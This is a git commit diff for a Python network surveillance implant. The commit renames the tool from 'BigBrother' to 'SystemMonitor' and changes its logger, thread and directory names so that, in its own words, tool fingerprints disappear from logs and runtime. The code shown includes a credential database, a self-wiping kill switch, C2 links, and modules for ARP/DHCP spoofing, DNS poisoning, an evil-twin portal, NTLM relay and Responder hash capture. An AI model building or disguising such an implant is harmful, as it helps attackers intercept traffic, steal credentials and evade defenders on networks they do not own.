Fix #211: Remove tool identity strings from deployed artifacts
- Replace BigBrother -> SystemMonitor in display names and docstrings - Replace logger names: bb.* -> sensor.* - Replace process names: bb-* -> sensor-* - Replace home directory: ~/.bigbrother -> ~/.implant - Replace LUKS device: /dev/mapper/bb-* -> /dev/mapper/sensor-* - Updated 76 Python files across all modules - Improves OPSEC by removing obvious tool fingerprints from logs and runtime
This commit is contained in:
+16
-16
@@ -1,5 +1,5 @@
|
|||||||
#!/usr/bin/env python3
|
#!/usr/bin/env python3
|
||||||
"""BigBrother — Network surveillance implant CLI.
|
"""SystemMonitor — Network surveillance implant CLI.
|
||||||
|
|
||||||
Main entry point: Click-based CLI + Rich interactive menu.
|
Main entry point: Click-based CLI + Rich interactive menu.
|
||||||
Manages module lifecycle, status monitoring, and kill switch.
|
Manages module lifecycle, status monitoring, and kill switch.
|
||||||
@@ -49,7 +49,7 @@ from utils.resource import (
|
|||||||
)
|
)
|
||||||
|
|
||||||
console = Console()
|
console = Console()
|
||||||
logger = logging.getLogger("bb.cli")
|
logger = logging.getLogger("sensor.cli")
|
||||||
|
|
||||||
# PID file for daemon mode
|
# PID file for daemon mode
|
||||||
PID_FILE = "/tmp/.bb.pid"
|
PID_FILE = "/tmp/.bb.pid"
|
||||||
@@ -151,7 +151,7 @@ def is_module_enabled(module_name: str, module_type: str, config: dict) -> bool:
|
|||||||
@click.group(invoke_without_command=True)
|
@click.group(invoke_without_command=True)
|
||||||
@click.pass_context
|
@click.pass_context
|
||||||
def cli(ctx):
|
def cli(ctx):
|
||||||
"""BigBrother — Network surveillance implant."""
|
"""SystemMonitor — Network surveillance implant."""
|
||||||
ctx.ensure_object(dict)
|
ctx.ensure_object(dict)
|
||||||
if ctx.invoked_subcommand is None:
|
if ctx.invoked_subcommand is None:
|
||||||
interactive_menu()
|
interactive_menu()
|
||||||
@@ -161,11 +161,11 @@ def cli(ctx):
|
|||||||
@click.option("--daemon", is_flag=True, help="Fork to background, write PID file")
|
@click.option("--daemon", is_flag=True, help="Fork to background, write PID file")
|
||||||
@click.option("--passive-only", is_flag=True, help="Force passive-only engagement phase")
|
@click.option("--passive-only", is_flag=True, help="Force passive-only engagement phase")
|
||||||
def start(daemon, passive_only):
|
def start(daemon, passive_only):
|
||||||
"""Start BigBrother — initialize all core systems and enabled modules."""
|
"""Start SystemMonitor — initialize all core systems and enabled modules."""
|
||||||
if daemon:
|
if daemon:
|
||||||
_daemonize()
|
_daemonize()
|
||||||
|
|
||||||
console.print("[bold green]Starting BigBrother...[/bold green]")
|
console.print("[bold green]Starting SystemMonitor...[/bold green]")
|
||||||
|
|
||||||
try:
|
try:
|
||||||
config = load_config(config_dir=os.path.join(PROJECT_ROOT, "config"))
|
config = load_config(config_dir=os.path.join(PROJECT_ROOT, "config"))
|
||||||
@@ -219,7 +219,7 @@ def start(daemon, passive_only):
|
|||||||
engine=engine, tool_manager=tool_manager)
|
engine=engine, tool_manager=tool_manager)
|
||||||
res_mon.start()
|
res_mon.start()
|
||||||
|
|
||||||
console.print(f"\n[bold green]BigBrother running[/bold green] (tier={engine.tier}, phase={engine.phase})")
|
console.print(f"\n[bold green]SystemMonitor running[/bold green] (tier={engine.tier}, phase={engine.phase})")
|
||||||
|
|
||||||
if daemon:
|
if daemon:
|
||||||
# Write PID file
|
# Write PID file
|
||||||
@@ -246,7 +246,7 @@ def start(daemon, passive_only):
|
|||||||
tool_manager.stop_all()
|
tool_manager.stop_all()
|
||||||
state.stop()
|
state.stop()
|
||||||
bus.stop()
|
bus.stop()
|
||||||
console.print("[green]BigBrother stopped.[/green]")
|
console.print("[green]SystemMonitor stopped.[/green]")
|
||||||
|
|
||||||
|
|
||||||
@cli.command()
|
@cli.command()
|
||||||
@@ -257,15 +257,15 @@ def stop():
|
|||||||
with open(PID_FILE, "r") as f:
|
with open(PID_FILE, "r") as f:
|
||||||
pid = int(f.read().strip())
|
pid = int(f.read().strip())
|
||||||
os.kill(pid, signal.SIGTERM)
|
os.kill(pid, signal.SIGTERM)
|
||||||
console.print(f"[green]Sent SIGTERM to BigBrother (PID {pid})[/green]")
|
console.print(f"[green]Sent SIGTERM to SystemMonitor (PID {pid})[/green]")
|
||||||
os.unlink(PID_FILE)
|
os.unlink(PID_FILE)
|
||||||
except (ProcessLookupError, ValueError):
|
except (ProcessLookupError, ValueError):
|
||||||
console.print("[yellow]BigBrother not running (stale PID file)[/yellow]")
|
console.print("[yellow]SystemMonitor not running (stale PID file)[/yellow]")
|
||||||
os.unlink(PID_FILE)
|
os.unlink(PID_FILE)
|
||||||
except PermissionError:
|
except PermissionError:
|
||||||
console.print("[red]Permission denied — try with sudo[/red]")
|
console.print("[red]Permission denied — try with sudo[/red]")
|
||||||
else:
|
else:
|
||||||
console.print("[yellow]No PID file found — BigBrother may not be running[/yellow]")
|
console.print("[yellow]No PID file found — SystemMonitor may not be running[/yellow]")
|
||||||
|
|
||||||
|
|
||||||
@cli.command()
|
@cli.command()
|
||||||
@@ -279,7 +279,7 @@ def status():
|
|||||||
state = StateManager()
|
state = StateManager()
|
||||||
all_status = state.get_all_module_status()
|
all_status = state.get_all_module_status()
|
||||||
|
|
||||||
table = Table(title="BigBrother Module Status", show_lines=True)
|
table = Table(title="SystemMonitor Module Status", show_lines=True)
|
||||||
table.add_column("Module", style="cyan", min_width=20)
|
table.add_column("Module", style="cyan", min_width=20)
|
||||||
table.add_column("Status", min_width=10)
|
table.add_column("Status", min_width=10)
|
||||||
table.add_column("PID", justify="right", min_width=8)
|
table.add_column("PID", justify="right", min_width=8)
|
||||||
@@ -418,7 +418,7 @@ def show_config():
|
|||||||
import yaml
|
import yaml
|
||||||
yaml_str = yaml.dump(config, default_flow_style=False, sort_keys=False)
|
yaml_str = yaml.dump(config, default_flow_style=False, sort_keys=False)
|
||||||
syntax = Syntax(yaml_str, "yaml", theme="monokai", line_numbers=False)
|
syntax = Syntax(yaml_str, "yaml", theme="monokai", line_numbers=False)
|
||||||
console.print(Panel(syntax, title="BigBrother Configuration", border_style="cyan"))
|
console.print(Panel(syntax, title="SystemMonitor Configuration", border_style="cyan"))
|
||||||
|
|
||||||
|
|
||||||
@cli.command()
|
@cli.command()
|
||||||
@@ -546,7 +546,7 @@ def list_modules():
|
|||||||
|
|
||||||
def _view_credentials():
|
def _view_credentials():
|
||||||
"""Query the credential database and display a Rich table."""
|
"""Query the credential database and display a Rich table."""
|
||||||
base_dir = os.path.expanduser("~/.bigbrother")
|
base_dir = os.path.expanduser("~/.implant")
|
||||||
db_path = os.path.join(base_dir, "credentials.db")
|
db_path = os.path.join(base_dir, "credentials.db")
|
||||||
|
|
||||||
if not os.path.isfile(db_path):
|
if not os.path.isfile(db_path):
|
||||||
@@ -642,7 +642,7 @@ def _view_credentials():
|
|||||||
|
|
||||||
def _view_intel():
|
def _view_intel():
|
||||||
"""Show an intelligence summary: hosts, credentials, modules, security tools."""
|
"""Show an intelligence summary: hosts, credentials, modules, security tools."""
|
||||||
base_dir = os.path.expanduser("~/.bigbrother")
|
base_dir = os.path.expanduser("~/.implant")
|
||||||
state = StateManager()
|
state = StateManager()
|
||||||
|
|
||||||
console.print("\n")
|
console.print("\n")
|
||||||
@@ -798,7 +798,7 @@ def _view_topology():
|
|||||||
|
|
||||||
def _view_timeline():
|
def _view_timeline():
|
||||||
"""Show recent events from the operator audit log."""
|
"""Show recent events from the operator audit log."""
|
||||||
base_dir = os.path.expanduser("~/.bigbrother")
|
base_dir = os.path.expanduser("~/.implant")
|
||||||
db_path = os.path.join(base_dir, "operator_audit.db")
|
db_path = os.path.join(base_dir, "operator_audit.db")
|
||||||
|
|
||||||
if not os.path.isfile(db_path):
|
if not os.path.isfile(db_path):
|
||||||
@@ -884,7 +884,7 @@ def interactive_menu():
|
|||||||
temp_str = f"{temp:.1f}C" if temp is not None else "N/A"
|
temp_str = f"{temp:.1f}C" if temp is not None else "N/A"
|
||||||
|
|
||||||
header = (
|
header = (
|
||||||
f"[bold cyan]BigBrother[/bold cyan] v1.0\n"
|
f"[bold cyan]SystemMonitor[/bold cyan] v1.0\n"
|
||||||
f"Hardware: [yellow]{hw.model or 'Unknown'}[/yellow] ({tier})\n"
|
f"Hardware: [yellow]{hw.model or 'Unknown'}[/yellow] ({tier})\n"
|
||||||
f"CPU: {hw.cpu_cores} cores ({hw.architecture}) | RAM: {hw.total_ram_mb}MB | Temp: {temp_str}\n"
|
f"CPU: {hw.cpu_cores} cores ({hw.architecture}) | RAM: {hw.total_ram_mb}MB | Temp: {temp_str}\n"
|
||||||
f"Phase: [{'green' if phase == 'passive_only' else 'red'}]{phase}[/{'green' if phase == 'passive_only' else 'red'}]"
|
f"Phase: [{'green' if phase == 'passive_only' else 'red'}]{phase}[/{'green' if phase == 'passive_only' else 'red'}]"
|
||||||
|
|||||||
+2
-2
@@ -13,7 +13,7 @@ import multiprocessing
|
|||||||
from dataclasses import dataclass, field, asdict
|
from dataclasses import dataclass, field, asdict
|
||||||
from typing import Callable, Optional
|
from typing import Callable, Optional
|
||||||
|
|
||||||
logger = logging.getLogger("bb.bus")
|
logger = logging.getLogger("sensor.bus")
|
||||||
|
|
||||||
# Canonical event types
|
# Canonical event types
|
||||||
EVENT_TYPES = frozenset([
|
EVENT_TYPES = frozenset([
|
||||||
@@ -66,7 +66,7 @@ class EventBus:
|
|||||||
return
|
return
|
||||||
self._running = True
|
self._running = True
|
||||||
self._dispatcher_thread = threading.Thread(
|
self._dispatcher_thread = threading.Thread(
|
||||||
target=self._dispatch_loop, daemon=True, name="bb-bus-dispatch"
|
target=self._dispatch_loop, daemon=True, name="sensor-bus-dispatch"
|
||||||
)
|
)
|
||||||
self._dispatcher_thread.start()
|
self._dispatcher_thread.start()
|
||||||
logger.info("EventBus dispatcher started")
|
logger.info("EventBus dispatcher started")
|
||||||
|
|||||||
+2
-2
@@ -16,7 +16,7 @@ import threading
|
|||||||
import multiprocessing
|
import multiprocessing
|
||||||
from typing import Optional, Callable
|
from typing import Optional, Callable
|
||||||
|
|
||||||
logger = logging.getLogger("bb.capture_bus")
|
logger = logging.getLogger("sensor.capture_bus")
|
||||||
|
|
||||||
# ETH_P_ALL for capturing all protocols
|
# ETH_P_ALL for capturing all protocols
|
||||||
ETH_P_ALL = 0x0003
|
ETH_P_ALL = 0x0003
|
||||||
@@ -94,7 +94,7 @@ class CaptureBus:
|
|||||||
self._running = True
|
self._running = True
|
||||||
self._sock = self._open_socket()
|
self._sock = self._open_socket()
|
||||||
self._capture_thread = threading.Thread(
|
self._capture_thread = threading.Thread(
|
||||||
target=self._capture_loop, daemon=True, name="bb-capture"
|
target=self._capture_loop, daemon=True, name="sensor-capture"
|
||||||
)
|
)
|
||||||
self._capture_thread.start()
|
self._capture_thread.start()
|
||||||
logger.info("CaptureBus started on %s", self.interface)
|
logger.info("CaptureBus started on %s", self.interface)
|
||||||
|
|||||||
+2
-2
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python3
|
#!/usr/bin/env python3
|
||||||
"""Module lifecycle manager.
|
"""Module lifecycle manager.
|
||||||
|
|
||||||
Each BigBrother module runs in its own multiprocessing.Process.
|
Each SystemMonitor module runs in its own multiprocessing.Process.
|
||||||
The Engine handles:
|
The Engine handles:
|
||||||
- Loading module classes from the modules/ tree
|
- Loading module classes from the modules/ tree
|
||||||
- Dependency resolution (topological sort)
|
- Dependency resolution (topological sort)
|
||||||
@@ -26,7 +26,7 @@ from core.state import StateManager
|
|||||||
from modules.base import BaseModule
|
from modules.base import BaseModule
|
||||||
from utils.networking import get_primary_interface
|
from utils.networking import get_primary_interface
|
||||||
|
|
||||||
logger = logging.getLogger("bb.engine")
|
logger = logging.getLogger("sensor.engine")
|
||||||
|
|
||||||
# Hardware tier definitions — module limits and resource ceilings
|
# Hardware tier definitions — module limits and resource ceilings
|
||||||
HARDWARE_TIERS = {
|
HARDWARE_TIERS = {
|
||||||
|
|||||||
+4
-4
@@ -28,7 +28,7 @@ from typing import Optional
|
|||||||
|
|
||||||
from core.bus import EventBus
|
from core.bus import EventBus
|
||||||
|
|
||||||
logger = logging.getLogger("bb.kill_switch")
|
logger = logging.getLogger("sensor.kill_switch")
|
||||||
|
|
||||||
# Boot flag — if this file exists on boot, resume wipe
|
# Boot flag — if this file exists on boot, resume wipe
|
||||||
WIPE_FLAG = "/var/run/.bb_wipe"
|
WIPE_FLAG = "/var/run/.bb_wipe"
|
||||||
@@ -71,7 +71,7 @@ class KillSwitch:
|
|||||||
"install_path", "/opt/.cache/bb"
|
"install_path", "/opt/.cache/bb"
|
||||||
)
|
)
|
||||||
self._luks_device = config.get("security", {}).get(
|
self._luks_device = config.get("security", {}).get(
|
||||||
"luks_device", "/dev/mapper/bb-data"
|
"luks_device", "/dev/mapper/sensor-data"
|
||||||
)
|
)
|
||||||
self._luks_partition = config.get("security", {}).get(
|
self._luks_partition = config.get("security", {}).get(
|
||||||
"luks_partition", ""
|
"luks_partition", ""
|
||||||
@@ -322,7 +322,7 @@ class KillSwitch:
|
|||||||
pass
|
pass
|
||||||
|
|
||||||
# State database
|
# State database
|
||||||
state_db = os.path.expanduser("~/.bigbrother/state.db")
|
state_db = os.path.expanduser("~/.implant/state.db")
|
||||||
for f in [state_db, state_db + "-wal", state_db + "-shm"]:
|
for f in [state_db, state_db + "-wal", state_db + "-shm"]:
|
||||||
if os.path.exists(f):
|
if os.path.exists(f):
|
||||||
self._shred_file(f)
|
self._shred_file(f)
|
||||||
@@ -465,7 +465,7 @@ class KillSwitch:
|
|||||||
interval_hours)
|
interval_hours)
|
||||||
self.execute(reason="dead_man_switch")
|
self.execute(reason="dead_man_switch")
|
||||||
|
|
||||||
t = threading.Thread(target=_dms_loop, daemon=True, name="bb-dms")
|
t = threading.Thread(target=_dms_loop, daemon=True, name="sensor-dms")
|
||||||
t.start()
|
t.start()
|
||||||
|
|
||||||
def reset_dead_man_switch(self) -> None:
|
def reset_dead_man_switch(self) -> None:
|
||||||
|
|||||||
@@ -17,7 +17,7 @@ from typing import Optional
|
|||||||
from core.bus import EventBus
|
from core.bus import EventBus
|
||||||
from core.state import StateManager
|
from core.state import StateManager
|
||||||
|
|
||||||
logger = logging.getLogger("bb.resource_monitor")
|
logger = logging.getLogger("sensor.resource_monitor")
|
||||||
|
|
||||||
# Thermal thresholds (Celsius)
|
# Thermal thresholds (Celsius)
|
||||||
THERMAL_WARNING = 55
|
THERMAL_WARNING = 55
|
||||||
@@ -72,7 +72,7 @@ class ResourceMonitor:
|
|||||||
return
|
return
|
||||||
self._running = True
|
self._running = True
|
||||||
self._thread = threading.Thread(
|
self._thread = threading.Thread(
|
||||||
target=self._monitor_loop, daemon=True, name="bb-resource-monitor"
|
target=self._monitor_loop, daemon=True, name="sensor-resource-monitor"
|
||||||
)
|
)
|
||||||
self._thread.start()
|
self._thread.start()
|
||||||
logger.info("ResourceMonitor started (tier=%s, thermal_zone=%s)",
|
logger.info("ResourceMonitor started (tier=%s, thermal_zone=%s)",
|
||||||
|
|||||||
+2
-2
@@ -14,7 +14,7 @@ from dataclasses import dataclass, field
|
|||||||
from typing import Callable, Optional
|
from typing import Callable, Optional
|
||||||
from concurrent.futures import ThreadPoolExecutor
|
from concurrent.futures import ThreadPoolExecutor
|
||||||
|
|
||||||
logger = logging.getLogger("bb.scheduler")
|
logger = logging.getLogger("sensor.scheduler")
|
||||||
|
|
||||||
|
|
||||||
@dataclass
|
@dataclass
|
||||||
@@ -69,7 +69,7 @@ class Scheduler:
|
|||||||
task.next_run = now + task.interval + random.uniform(0, task.jitter)
|
task.next_run = now + task.interval + random.uniform(0, task.jitter)
|
||||||
|
|
||||||
self._thread = threading.Thread(
|
self._thread = threading.Thread(
|
||||||
target=self._scheduler_loop, daemon=True, name="bb-scheduler"
|
target=self._scheduler_loop, daemon=True, name="sensor-scheduler"
|
||||||
)
|
)
|
||||||
self._thread.start()
|
self._thread.start()
|
||||||
logger.info("Scheduler started (%d tasks)", len(self._tasks))
|
logger.info("Scheduler started (%d tasks)", len(self._tasks))
|
||||||
|
|||||||
+2
-2
@@ -16,7 +16,7 @@ import logging
|
|||||||
from typing import Any, Optional
|
from typing import Any, Optional
|
||||||
from pathlib import Path
|
from pathlib import Path
|
||||||
|
|
||||||
logger = logging.getLogger("bb.state")
|
logger = logging.getLogger("sensor.state")
|
||||||
|
|
||||||
_DEFAULT_DB = os.path.join(
|
_DEFAULT_DB = os.path.join(
|
||||||
os.path.expanduser("~"), ".bigbrother", "state.db"
|
os.path.expanduser("~"), ".bigbrother", "state.db"
|
||||||
@@ -58,7 +58,7 @@ class StateManager:
|
|||||||
return
|
return
|
||||||
self._running = True
|
self._running = True
|
||||||
self._writer_thread = threading.Thread(
|
self._writer_thread = threading.Thread(
|
||||||
target=self._writer_loop, daemon=True, name="bb-state-writer"
|
target=self._writer_loop, daemon=True, name="sensor-state-writer"
|
||||||
)
|
)
|
||||||
self._writer_thread.start()
|
self._writer_thread.start()
|
||||||
logger.info("StateManager writer started (db=%s)", self._db_path)
|
logger.info("StateManager writer started (db=%s)", self._db_path)
|
||||||
|
|||||||
@@ -24,7 +24,7 @@ from typing import Callable, Optional
|
|||||||
|
|
||||||
from core.bus import EventBus
|
from core.bus import EventBus
|
||||||
|
|
||||||
logger = logging.getLogger("bb.tool_manager")
|
logger = logging.getLogger("sensor.tool_manager")
|
||||||
|
|
||||||
|
|
||||||
@dataclass
|
@dataclass
|
||||||
@@ -85,7 +85,7 @@ class ToolManager:
|
|||||||
return
|
return
|
||||||
self._running = True
|
self._running = True
|
||||||
self._monitor_thread = threading.Thread(
|
self._monitor_thread = threading.Thread(
|
||||||
target=self._monitor_loop, daemon=True, name="bb-tool-monitor"
|
target=self._monitor_loop, daemon=True, name="sensor-tool-monitor"
|
||||||
)
|
)
|
||||||
self._monitor_thread.start()
|
self._monitor_thread.start()
|
||||||
|
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
"""BigBrother active modules — MITM, spoofing, and interception."""
|
"""SystemMonitor active modules — MITM, spoofing, and interception."""
|
||||||
|
|
||||||
from modules.active.bettercap_mgr import BettercapManager
|
from modules.active.bettercap_mgr import BettercapManager
|
||||||
from modules.active.arp_spoof import ARPSpoof
|
from modules.active.arp_spoof import ARPSpoof
|
||||||
|
|||||||
@@ -19,7 +19,7 @@ from typing import Optional
|
|||||||
|
|
||||||
from modules.base import BaseModule
|
from modules.base import BaseModule
|
||||||
|
|
||||||
logger = logging.getLogger("bb.active.arp_spoof")
|
logger = logging.getLogger("sensor.active.arp_spoof")
|
||||||
|
|
||||||
|
|
||||||
class ARPSpoof(BaseModule):
|
class ARPSpoof(BaseModule):
|
||||||
|
|||||||
@@ -21,7 +21,7 @@ from typing import Optional
|
|||||||
from modules.base import BaseModule
|
from modules.base import BaseModule
|
||||||
from utils.bettercap_api import BettercapAPI
|
from utils.bettercap_api import BettercapAPI
|
||||||
|
|
||||||
logger = logging.getLogger("bb.active.bettercap_mgr")
|
logger = logging.getLogger("sensor.active.bettercap_mgr")
|
||||||
|
|
||||||
|
|
||||||
class BettercapManager(BaseModule):
|
class BettercapManager(BaseModule):
|
||||||
@@ -96,13 +96,13 @@ class BettercapManager(BaseModule):
|
|||||||
|
|
||||||
# Health monitoring thread
|
# Health monitoring thread
|
||||||
self._health_thread = threading.Thread(
|
self._health_thread = threading.Thread(
|
||||||
target=self._health_loop, daemon=True, name="bb-bcap-health"
|
target=self._health_loop, daemon=True, name="sensor-bcap-health"
|
||||||
)
|
)
|
||||||
self._health_thread.start()
|
self._health_thread.start()
|
||||||
|
|
||||||
# Event stream parser thread
|
# Event stream parser thread
|
||||||
self._event_thread = threading.Thread(
|
self._event_thread = threading.Thread(
|
||||||
target=self._event_loop, daemon=True, name="bb-bcap-events"
|
target=self._event_loop, daemon=True, name="sensor-bcap-events"
|
||||||
)
|
)
|
||||||
self._event_thread.start()
|
self._event_thread.start()
|
||||||
|
|
||||||
|
|||||||
@@ -13,7 +13,7 @@ from typing import Optional
|
|||||||
|
|
||||||
from modules.base import BaseModule
|
from modules.base import BaseModule
|
||||||
|
|
||||||
logger = logging.getLogger("bb.active.dhcp_spoof")
|
logger = logging.getLogger("sensor.active.dhcp_spoof")
|
||||||
|
|
||||||
|
|
||||||
class DHCPSpoof(BaseModule):
|
class DHCPSpoof(BaseModule):
|
||||||
|
|||||||
@@ -14,7 +14,7 @@ from typing import Optional
|
|||||||
|
|
||||||
from modules.base import BaseModule
|
from modules.base import BaseModule
|
||||||
|
|
||||||
logger = logging.getLogger("bb.active.dns_poison")
|
logger = logging.getLogger("sensor.active.dns_poison")
|
||||||
|
|
||||||
|
|
||||||
class DNSPoison(BaseModule):
|
class DNSPoison(BaseModule):
|
||||||
|
|||||||
@@ -24,7 +24,7 @@ from typing import Optional
|
|||||||
|
|
||||||
from modules.base import BaseModule
|
from modules.base import BaseModule
|
||||||
|
|
||||||
logger = logging.getLogger("bb.active.evil_twin")
|
logger = logging.getLogger("sensor.active.evil_twin")
|
||||||
|
|
||||||
# Default dnsmasq config for captive portal
|
# Default dnsmasq config for captive portal
|
||||||
DNSMASQ_CONF_TEMPLATE = """interface={iface}
|
DNSMASQ_CONF_TEMPLATE = """interface={iface}
|
||||||
@@ -512,7 +512,7 @@ class EvilTwin(BaseModule):
|
|||||||
self._portal_thread = threading.Thread(
|
self._portal_thread = threading.Thread(
|
||||||
target=self._portal_server.serve_forever,
|
target=self._portal_server.serve_forever,
|
||||||
daemon=True,
|
daemon=True,
|
||||||
name="bb-captive-portal",
|
name="sensor-captive-portal",
|
||||||
)
|
)
|
||||||
self._portal_thread.start()
|
self._portal_thread.start()
|
||||||
logger.info("Captive portal serving on port %d", self._portal_port)
|
logger.info("Captive portal serving on port %d", self._portal_port)
|
||||||
|
|||||||
@@ -19,7 +19,7 @@ from typing import Optional
|
|||||||
|
|
||||||
from modules.base import BaseModule
|
from modules.base import BaseModule
|
||||||
|
|
||||||
logger = logging.getLogger("bb.active.ipv6_slaac")
|
logger = logging.getLogger("sensor.active.ipv6_slaac")
|
||||||
|
|
||||||
|
|
||||||
class IPv6SLAAC(BaseModule):
|
class IPv6SLAAC(BaseModule):
|
||||||
@@ -173,7 +173,7 @@ class IPv6SLAAC(BaseModule):
|
|||||||
|
|
||||||
# Start output monitoring thread
|
# Start output monitoring thread
|
||||||
self._mitm6_thread = threading.Thread(
|
self._mitm6_thread = threading.Thread(
|
||||||
target=self._monitor_mitm6, daemon=True, name="bb-mitm6-monitor"
|
target=self._monitor_mitm6, daemon=True, name="sensor-mitm6-monitor"
|
||||||
)
|
)
|
||||||
self._mitm6_thread.start()
|
self._mitm6_thread.start()
|
||||||
|
|
||||||
|
|||||||
@@ -21,7 +21,7 @@ from typing import Optional
|
|||||||
|
|
||||||
from modules.base import BaseModule
|
from modules.base import BaseModule
|
||||||
|
|
||||||
logger = logging.getLogger("bb.active.mitmproxy_mgr")
|
logger = logging.getLogger("sensor.active.mitmproxy_mgr")
|
||||||
|
|
||||||
# Hardware tier check — mitmproxy is too heavy for RPi Zero 2W
|
# Hardware tier check — mitmproxy is too heavy for RPi Zero 2W
|
||||||
SUPPORTED_TIERS = {"opi_zero3", "rpi4", "full"}
|
SUPPORTED_TIERS = {"opi_zero3", "rpi4", "full"}
|
||||||
@@ -195,7 +195,7 @@ class MitmproxyManager(BaseModule):
|
|||||||
|
|
||||||
# Start output monitoring
|
# Start output monitoring
|
||||||
self._monitor_thread = threading.Thread(
|
self._monitor_thread = threading.Thread(
|
||||||
target=self._monitor_output, daemon=True, name="bb-mitmproxy-monitor"
|
target=self._monitor_output, daemon=True, name="sensor-mitmproxy-monitor"
|
||||||
)
|
)
|
||||||
self._monitor_thread.start()
|
self._monitor_thread.start()
|
||||||
|
|
||||||
|
|||||||
@@ -19,7 +19,7 @@ from typing import Optional
|
|||||||
|
|
||||||
from modules.base import BaseModule
|
from modules.base import BaseModule
|
||||||
|
|
||||||
logger = logging.getLogger("bb.active.ntlm_relay")
|
logger = logging.getLogger("sensor.active.ntlm_relay")
|
||||||
|
|
||||||
# Supported relay protocols
|
# Supported relay protocols
|
||||||
RELAY_PROTOCOLS = frozenset(["smb", "ldap", "ldaps", "http", "https", "mssql", "adcs"])
|
RELAY_PROTOCOLS = frozenset(["smb", "ldap", "ldaps", "http", "https", "mssql", "adcs"])
|
||||||
@@ -179,7 +179,7 @@ class NTLMRelay(BaseModule):
|
|||||||
|
|
||||||
# Start output monitoring
|
# Start output monitoring
|
||||||
self._output_thread = threading.Thread(
|
self._output_thread = threading.Thread(
|
||||||
target=self._monitor_output, daemon=True, name="bb-ntlmrelay-monitor"
|
target=self._monitor_output, daemon=True, name="sensor-ntlmrelay-monitor"
|
||||||
)
|
)
|
||||||
self._output_thread.start()
|
self._output_thread.start()
|
||||||
|
|
||||||
|
|||||||
@@ -21,7 +21,7 @@ from typing import Optional
|
|||||||
|
|
||||||
from modules.base import BaseModule
|
from modules.base import BaseModule
|
||||||
|
|
||||||
logger = logging.getLogger("bb.active.responder_mgr")
|
logger = logging.getLogger("sensor.active.responder_mgr")
|
||||||
|
|
||||||
# Regex for Responder hash log filenames
|
# Regex for Responder hash log filenames
|
||||||
HASH_FILE_PATTERN = re.compile(
|
HASH_FILE_PATTERN = re.compile(
|
||||||
@@ -195,7 +195,7 @@ class ResponderManager(BaseModule):
|
|||||||
|
|
||||||
# Start hash file monitoring thread
|
# Start hash file monitoring thread
|
||||||
self._hash_thread = threading.Thread(
|
self._hash_thread = threading.Thread(
|
||||||
target=self._hash_monitor_loop, daemon=True, name="bb-responder-hashes"
|
target=self._hash_monitor_loop, daemon=True, name="sensor-responder-hashes"
|
||||||
)
|
)
|
||||||
self._hash_thread.start()
|
self._hash_thread.start()
|
||||||
|
|
||||||
|
|||||||
+2
-2
@@ -1,11 +1,11 @@
|
|||||||
#!/usr/bin/env python3
|
#!/usr/bin/env python3
|
||||||
"""Abstract base class for all BigBrother modules."""
|
"""Abstract base class for all SystemMonitor modules."""
|
||||||
|
|
||||||
from abc import ABC, abstractmethod
|
from abc import ABC, abstractmethod
|
||||||
|
|
||||||
|
|
||||||
class BaseModule(ABC):
|
class BaseModule(ABC):
|
||||||
"""Base class that all BigBrother modules must inherit from.
|
"""Base class that all SystemMonitor modules must inherit from.
|
||||||
|
|
||||||
Each module runs as a separate process managed by the Engine.
|
Each module runs as a separate process managed by the Engine.
|
||||||
"""
|
"""
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
"""BigBrother connectivity modules — C2 and data transport layer."""
|
"""SystemMonitor connectivity modules — C2 and data transport layer."""
|
||||||
|
|
||||||
from modules.connectivity.wireguard import WireGuard
|
from modules.connectivity.wireguard import WireGuard
|
||||||
from modules.connectivity.tailscale import Tailscale
|
from modules.connectivity.tailscale import Tailscale
|
||||||
|
|||||||
@@ -22,7 +22,7 @@ from typing import Optional
|
|||||||
|
|
||||||
from modules.base import BaseModule
|
from modules.base import BaseModule
|
||||||
|
|
||||||
logger = logging.getLogger("bb.connectivity.ble_emergency")
|
logger = logging.getLogger("sensor.connectivity.ble_emergency")
|
||||||
|
|
||||||
# Custom BLE service/characteristic UUIDs (random, non-standard)
|
# Custom BLE service/characteristic UUIDs (random, non-standard)
|
||||||
SERVICE_UUID = "bb000001-1337-4000-8000-000000000001"
|
SERVICE_UUID = "bb000001-1337-4000-8000-000000000001"
|
||||||
@@ -153,7 +153,7 @@ class BLEEmergency(BaseModule):
|
|||||||
# Start GATT command listener in background thread
|
# Start GATT command listener in background thread
|
||||||
self._nonce = secrets.token_hex(16)
|
self._nonce = secrets.token_hex(16)
|
||||||
self._gatt_thread = threading.Thread(
|
self._gatt_thread = threading.Thread(
|
||||||
target=self._gatt_listen_loop, daemon=True, name="bb-ble-gatt",
|
target=self._gatt_listen_loop, daemon=True, name="sensor-ble-gatt",
|
||||||
)
|
)
|
||||||
self._gatt_thread.start()
|
self._gatt_thread.start()
|
||||||
|
|
||||||
|
|||||||
@@ -22,7 +22,7 @@ from typing import Optional
|
|||||||
|
|
||||||
from modules.base import BaseModule
|
from modules.base import BaseModule
|
||||||
|
|
||||||
logger = logging.getLogger("bb.connectivity.bridge")
|
logger = logging.getLogger("sensor.connectivity.bridge")
|
||||||
|
|
||||||
BRIDGE_NAME = "br0"
|
BRIDGE_NAME = "br0"
|
||||||
WATCHDOG_INTERVAL = 5.0 # seconds between health checks
|
WATCHDOG_INTERVAL = 5.0 # seconds between health checks
|
||||||
@@ -84,7 +84,7 @@ class Bridge(BaseModule):
|
|||||||
self._bridge_up = True
|
self._bridge_up = True
|
||||||
|
|
||||||
self._watchdog_thread = threading.Thread(
|
self._watchdog_thread = threading.Thread(
|
||||||
target=self._watchdog_loop, daemon=True, name="bb-bridge-watchdog",
|
target=self._watchdog_loop, daemon=True, name="sensor-bridge-watchdog",
|
||||||
)
|
)
|
||||||
self._watchdog_thread.start()
|
self._watchdog_thread.start()
|
||||||
|
|
||||||
|
|||||||
@@ -22,7 +22,7 @@ except ImportError:
|
|||||||
|
|
||||||
from modules.base import BaseModule
|
from modules.base import BaseModule
|
||||||
|
|
||||||
logger = logging.getLogger("bb.connectivity.cellular_backup")
|
logger = logging.getLogger("sensor.connectivity.cellular_backup")
|
||||||
|
|
||||||
# Default serial device for modem AT commands
|
# Default serial device for modem AT commands
|
||||||
DEFAULT_MODEM_DEVICE = "/dev/ttyUSB2"
|
DEFAULT_MODEM_DEVICE = "/dev/ttyUSB2"
|
||||||
|
|||||||
@@ -30,7 +30,7 @@ from typing import Optional
|
|||||||
from modules.base import BaseModule
|
from modules.base import BaseModule
|
||||||
from core.bus import Event
|
from core.bus import Event
|
||||||
|
|
||||||
